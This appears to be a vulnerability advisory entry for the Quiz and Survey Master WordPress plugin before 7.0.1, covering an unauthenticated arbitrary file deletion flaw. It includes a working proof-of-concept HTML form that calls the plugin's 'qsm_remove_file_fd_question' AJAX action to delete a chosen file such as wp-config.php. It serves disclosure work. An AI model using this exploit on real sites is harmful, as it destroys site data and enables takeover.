WordPress Plugin Vulnerabilities
Quiz and Survey Master < 7.0.1 - Unauthenticated Arbitrary File Deletion
Description
This flaw allows users to delete arbitrary files like a site’s wp-config.php file which could effectively take a site offline and allow an attacker to take over the vulnerable site.
Proof of Concept
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://YOURURL/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="qsm_remove_file_fd_question" />
<input type="hidden" name="file_url" value="/path/to/file" />
<input type="submit" value="Submit request" />
</form>
</body>
</html> Affects Plugins
Fixed in version 7.0.1
References
Classification
Type
BYPASS
Miscellaneous
Original Researcher
Chloe Chamberland
Submitter
Chloe Chamberland
Submitter website
Submitter twitter
Verified
No
Timeline
Publicly Published
2020-08-13 (about 3 years ago)
Added
2020-08-13 (about 3 years ago)
Last Updated
2021-01-02 (about 2 years ago)